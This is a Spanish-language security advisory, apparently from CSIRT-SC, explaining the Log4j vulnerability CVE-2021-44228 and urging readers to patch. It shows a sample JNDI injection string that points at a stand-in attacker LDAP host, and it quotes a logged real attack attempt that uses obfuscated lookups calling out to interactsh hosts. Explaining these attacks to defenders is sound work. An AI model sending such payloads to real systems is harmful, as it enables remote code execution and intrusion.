El 9 de diciembre del presente año se descubrió una vulnerabilidad de día 0* en el popular framework Apache Log4j para logging en Java, a la que se le asignó el CVE-2021-44228 y dio pie a un número considerable de artículos con títulos que por sí mismos dan a entender que el riesgo que presenta para la infraestructura de servicios actual no es menor:
- Zero-day in ubiquitous Log4j tool poses a grave threat to the Internet
- Logging library flaw opens software from different vendors to RCE
- “Worst-Case Scenario” Log4j Exploit Travels the Globe
- Critical security flaw being exploited all over the Internet
- Log4j RCE: Emergency patch issued to plug critical auth-free code execution hole in widely used logging utility
* Una vulnerabilidad de día 0 es una vulnerabilidad que está siendo explotada activamente sin el conocimiento de los desarrolladores del software en cuestión.
¿Por qué tanto escándalo?
Claro está que encontrar fallas en software popular no es algo novedoso ni sorprendente por sí mismo. Lo que otorga a esta vulnerabilidad una severidad crítica es la facilidad de ejecutar y automatizar su explotación, así como el alcance que tiene: permite la ejecución de código arbitrario de forma remota (RCE). Para más detalles pueden consultar un análisis de CVE-2021-44228 o explorar la infinidad de pruebas de concepto publicadas.
En términos sencillos, una vulnerabilidad RCE RCE (por sus siglas en Inglés, Remote Code Excecution) básicamente permite que un atacante ejecute cualquier tipo de código en el dispositivo de la víctima: acceder al sistema, descargar malware y lograr una infección más extensiva, crear una puerta trasera, exfiltrar datos, corromper el sistema, etc.
Para los curiosos, dejamos otra prueba de concepto, con más información y documentación de uso:
CVE-2021-44228 (Apache Log4j Remote Code Execution)
¿Cómo funciona?
La vulnerabilidad radica en el hecho de que algunos de los datos que deben registrarse en los logs dependen de datos ingresados por el usuario. Estos datos pueden manipularse de una forma particular para que el método de búsqueda sea llamado para ejecutar una clase remota en el servidor de LDAP; de esta forma, el atacante puede forzar al dispositivo a descargar código malicioso, ejecutarlo y hacer que el dispositivo víctima haga lo que él quiera.
Para acceder a los recursos necesarios, una consulta legítima de JNDI tiene el siguiente formato:${jndi:logging/context-name}
Un atacante puede manipular el string para buscar recursos en un servidor LDAP controlado por el atacante y, de esa forma, el método de búsqueda será utilizado para ejecutar una clase de Java maliciosa. Esto podría verse así:
${jndi:ldap://www.malwaregratis.falso/clase_maliciosa}
Una forma sencilla de explotar esta vulnerabilidad es enviar una petición web a un servidor modificando alguno de los campos como agente de navegador para que contenga dicho string. Si la aplicación a cargo de gestionar la petición procesa el log y no tiene las últimas actualizaciones de seguridad, entonces descargará y ejecutará el código contenido en la clase maliciosa.
A continuación se muestra un ejemplo de un intento de explotación detectado en nuestros servidores:
xyz.santacruz.gob.ar:443 159.223.64.156 – – [12/Dec/2021:23:02:23 -0300] “GET /?x=${jndi:ldap://${hostName}[.]c6r8vaejv01nqdv98a10cg5kumed6c4x6[.]interactsh[.]com/a} HTTP/1.1” 200 10651 “${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://${hostName}[.]c6r8vaejv01nqdv98a10cg5kumed6c4on[.]interactsh[.]com}” “${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}[.]c6r8vaejv01nqdv98a10cg5kumed6c4oy[.]interactsh[.]com}”
Como puede observarse reemplazan tanto la ruta de la petición GET como el agente del navegador con los strings manipulados en un intento de explotar cualquier sistema de logging que esté basado en log4j.x. Vale notar que el sistema en particular que intentaron explotar no utiliza log4j por lo que el exploit falló.
¿Qué hacer al respecto?
¡ACTUALIZAR! Lo antes posible. Múltiples proyectos de software que se vieron afectados por esta vulnerabilidad han desplegado parches de seguridad para mitigar el problema.
Adicionalmente, es recomendable realizar una auditoría para determinar si alguno de sus sistemas ha sido explotado.
Como siempre, no dudes en enviar tu consulta a la dirección de soporte de CSIRT-SC. Compartí este artículo con todas las personas que puedan beneficiarse de esta información y ayudanos a generar una cultura de buenas prácticas en seguridad informática.